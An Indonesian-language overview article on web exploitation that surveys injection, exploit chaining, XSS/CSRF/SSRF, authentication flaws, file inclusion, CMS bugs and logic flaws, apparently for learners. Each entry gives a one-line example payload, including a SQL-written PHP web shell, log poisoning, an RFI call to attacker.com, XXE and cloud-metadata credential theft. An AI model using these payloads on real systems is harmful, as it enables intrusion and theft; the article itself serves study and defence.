Web Exploitation adalah seni dan ilmu mengeksploitasi celah keamanan pada aplikasi berbasis web. Dari manipulasi input sederhana sampai eksekusi kode jarak jauh — ini adalah kategori serangan yang paling luas dan paling sering ditemukan di lapangan. Artikel ini akan membantumu memahami 7 kategori utama web exploitation, lengkap dengan contoh dan konteks teknisnya.

• SQL Injection (SQLi)
  Memasukkan query SQL berbahaya ke dalam input aplikasi untuk memanipulasi database.
  Varian: Error-based SQLi, Blind SQLi (Boolean & Time-based), Union-based SQLi, Out-of-Band SQLi.
  Contoh: ' OR 1=1 -- pada form login → bypass autentikasi.
• OS Command Injection
  Memaksa server menjalankan perintah sistem operasi melalui input yang tidak disanitasi.
  Contoh: Input 8.8.8.8; id pada fitur ping → mengeksekusi id di server.
• Server-Side Template Injection (SSTI)
  Mengeksploitasi template engine (Twig, Jinja2, Freemarker, dll) untuk mendapatkan RCE.
  Contoh (Jinja2): {{ ''.__class__.__mro__[1].__subclasses__() }} → eksplorasi kelas untuk RCE.
• NoSQL Injection
  Mirip SQLi, tapi menargetkan database NoSQL seperti MongoDB, CouchDB, atau Cassandra.
  Contoh (MongoDB): {$ne: null} pada query JSON → bypass autentikasi.
• LDAP Injection
  Injeksi pada query LDAP (Lightweight Directory Access Protocol) — sering dipakai di sistem autentikasi enterprise.
  Contoh: *)(uid=* → bypass login LDAP.
• XPath Injection
  Injeksi pada query XML / XPath — sering muncul di aplikasi yang menyimpan data dalam format XML.
  Contoh: ' or '1'='1 pada XPath query → bypass autentikasi.

Bahaya: Injection adalah pintu masuk ke RCE — server bisa diambil alih sepenuhnya.

• SQL2RCE
  Menggunakan SQL Injection (dengan hak akses tinggi seperti FILE privilege di MySQL) untuk menulis web shell ke server via INTO OUTFILE.
  Contoh: ' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' --
• LFI2RCE (Log Poisoning)
  Menggunakan Local File Inclusion (LFI) untuk membaca file log server, lalu memasukkan payload PHP ke dalam log (via User-Agent atau parameter lain), dan memanggil file log tersebut untuk eksekusi.
  Contoh: ?file=../../../../var/log/apache/access.log → setelah payload di User-Agent: <?php system($_GET['cmd']); ?>
• XSS2Shell
  Menggunakan XSS di panel admin untuk memaksa browser admin mengupload plugin berbahaya atau mengeksekusi skrip yang menghasilkan reverse shell.
  Contoh: XSS di feedback form → admin buka → skrip upload shell ke server.
• SSRF + Cloud Metadata
  SSRF (Server-Side Request Forgery) digunakan untuk mengakses endpoint metadata cloud (AWS: http://169.254.169.254/latest/meta-data/) dan mencuri IAM credentials.
  Contoh: SSRF → akses metadata AWS → dapatkan akses ke S3 bucket.

• Cross-Site Scripting (XSS)
  Menyisipkan skrip berbahaya (biasanya JavaScript) ke halaman web yang dikunjungi korban.
  Varian: Reflected XSS (langsung dari URL), Stored XSS (tersimpan di database), DOM-based XSS (dieksekusi di sisi client).
  Contoh: <script>alert('XSS')</script> di kolom komentar → muncul di semua pengunjung.
• Cross-Site Request Forgery (CSRF)
  Memaksa browser korban yang sedang login untuk melakukan aksi tanpa sepengetahuan korban.
  Contoh: Korban klik link jahat → tanpa sadar transfer uang atau ganti password.
• Server-Side Request Forgery (SSRF)
  Memaksa server web untuk melakukan request HTTP ke jaringan internal — sering dipakai untuk membobol cloud metadata atau internal service.
  Contoh: Fitur “fetch image from URL” → http://169.254.169.254/latest/meta-data/.
• Clickjacking (UI Redress)
  Menipu korban agar mengklik elemen transparan yang sebenarnya adalah tombol aksi di web lain.
  Contoh: Halaman palsu dengan iframe transparan → korban klik “Mainkan Video” tapi sebenarnya klik “Setujui Transfer”.
• JavaScript Obfuscation / Overwrite (JSO)
  Teknik yang sering dipakai di skena defacer lokal — menimpa halaman web dengan skrip JS yang sudah diobfuskasi sehingga sulit dibaca dan dibersihkan.
  Contoh: File index.php ditimpa dengan skrip obfuskasi yang menampilkan pesan deface.

• Bypass Admin / SQL Login Bypass
  Menggunakan payload sederhana di form login untuk masuk tanpa password.
  Contoh: ' OR '1'='1' -- atau admin' -- di kolom username.
• Default Admin Credentials
  Kelalaian admin yang tidak mengganti kredensial bawaan sistem — masih sangat umum di perangkat IoT dan aplikasi CMS.
  Contoh: admin:admin, root:toor, user:password.
• Insecure Direct Object Reference (IDOR)
  Mengganti parameter ID di URL untuk mengakses data orang lain — karena tidak ada validasi hak akses.
  Contoh: /profile?user_id=1 → ganti jadi user_id=2 → lihat profil user lain.
• Session Hijacking / Fixation
  Mencuri atau memanipulasi cookie sesi untuk mengambil alih akun korban.
  Contoh: XSS mencuri cookie sessionid → digunakan untuk login sebagai korban.
• JWT (JSON Web Token) Exploitation
  Memanipulasi token JWT — misalnya mengganti algoritma menjadi none, atau membongkar kunci rahasia yang lemah.
  Contoh: Token dengan algoritma HS256 diubah jadi none → bypass verifikasi.

• Arbitrary File Upload
  Berhasil mengunggah file berbahaya (seperti .php, .phtml, atau .jsp) karena filter ekstensi file yang buruk atau bisa di-bypass.
  Contoh: Upload file shell.php.jpg → double extension bypass filter.
• Local File Inclusion (LFI)
  Membaca file sensitif di dalam server melalui parameter file yang tidak divalidasi.
  Contoh: ?page=../../../../etc/passwd → baca file /etc/passwd.
• Remote File Inclusion (RFI)
  Memaksa web memuat dan mengeksekusi file dari server penyerang — sering menghasilkan RCE.
  Contoh: ?page=http://attacker.com/shell.txt → server load dan eksekusi shell.
• Directory / Path Traversal
  Menggunakan karakter ../ untuk keluar dari direktori web dan mengakses sistem file utama.
  Contoh: ?file=../../../../config/database.php → baca konfigurasi database.

• WordPress Plugin Flaws
  Hampir setiap hari ada temuan kerentanan baru di ekosistem plugin WP — mulai dari SQLi, XSS, sampai bypass autentikasi.
  Contoh: Plugin WP dengan SQLi → ?id=1 UNION SELECT ...
• Joomla Commedia / JDownload
  Kerentanan spesifik di ekstensi Joomla yang memungkinkan penyerang mengeksekusi file arbitrer atau RCE. Sering dieksploitasi menggunakan automated scanner.
  Contoh: CVE lama di komponen Joomla → akses file /administrator/...
• TinyMCE Exploits
  Celah pada rich-text editor TinyMCE versi lama — biasanya memicu XSS atau file upload bypass.
  Contoh: TinyMCE dengan filemanager plugin → upload file .php.
• jQuery File Upload (CVE-2018-9206)
  Celah terkenal di library jQuery versi lama yang memungkinkan arbitrary file upload tanpa autentikasi.
  Contoh: Akses /server/php/index.php → upload file → RCE.

• Subdomain Takeover
  Mengambil alih subdomain perusahaan yang masih menunjuk ke layanan pihak ketiga (seperti AWS S3, GitHub Pages, Heroku) yang sudah tidak aktif.
  Contoh: subdomain.example.com → CNAME ke bucket.s3.amazonaws.com yang sudah dihapus → ambil alih bucket → hosting konten phishing.
• XML External Entity (XXE)
  Memanfaatkan parser XML yang tidak dikonfigurasi dengan aman untuk membaca file internal, atau memicu SSRF.
  Contoh: <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> → baca /etc/passwd.
• Race Conditions (TOCTOU — Time-of-check to time-of-use)
  Mengeksploitasi jeda waktu sepersekian milidetik saat sistem memproses data — sering dipakai di fitur finansial.
  Contoh: Menekan tombol “Tarik Saldo” berkali-kali secara bersamaan → menarik uang lebih dari saldo yang ada.
• HTTP Request Smuggling
  Memanipulasi cara front-end server dan back-end server menerjemahkan batasan permintaan HTTP — bisa menghasilkan cache poisoning, session hijacking, atau request injection.
  Contoh: Mengirim request dengan dua Content-Length header yang berbeda → frontend dan backend baca request secara berbeda.

⚠️ Catatan penting: Daftar ini adalah roadmap untuk belajar dan riset — bukan panduan untuk melakukan serangan ilegal. Gunakan pengetahuan ini untuk melindungi, bukan merusak. Pelajari untuk menjadi security engineer, bug bounty hunter yang etis, atau penetration tester yang bertanggung jawab.

• CMS Exploitation: Joomla, WordPress, Drupal, Magento, vBulletin — Path Rentan, CVE, dan Exploit Chain
  Bedah tuntas kerentanan CMS populer — dari CVE-2026-49049 (Helix3 RCE) sampai WP2shell (CVE-2026-63037 + CVE-2026-63030).

• 1. Injection & RCE: SQLi, OS Command, SSTI — input tidak difilter → server mengeksekusi perintah berbahaya.
• 2. Exploit Chaining: Gabungkan beberapa kerentanan → SQL2RCE, LFI2RCE, XSS2Shell — dari low-risk ke high-impact.
• 3. Client-Side & Cross-Site: XSS, CSRF, SSRF — target browser dan pengguna, bukan server.
• 4. Broken Auth & Access: Bypass login, IDOR, Session Hijack — celah di mekanisme autentikasi dan otorisasi.
• 5. File Management: Upload shell, LFI, RFI, Path Traversal — celah di fitur unggah dan baca file.
• 6. CMS & 3rd-Party: Plugin WP, Joomla, TinyMCE — eksploitasi komponen pihak ketiga yang usang.
• 7. Architecture & Logic: Subdomain Takeover, XXE, Race Condition — cacat di level desain dan infrastruktur.

📌 Referensi & Bacaan Lanjutan:
OWASP Top 10 2021 — Kategori utama kerentanan web
OWASP Testing Guide — Metodologi pengujian keamanan web
PortSwigger Web Security Academy — Lab praktik web exploitation
MITRE ATT&CK — T1190: Exploit Public-Facing Application
CVE Database — Cari kerentanan berdasarkan kategori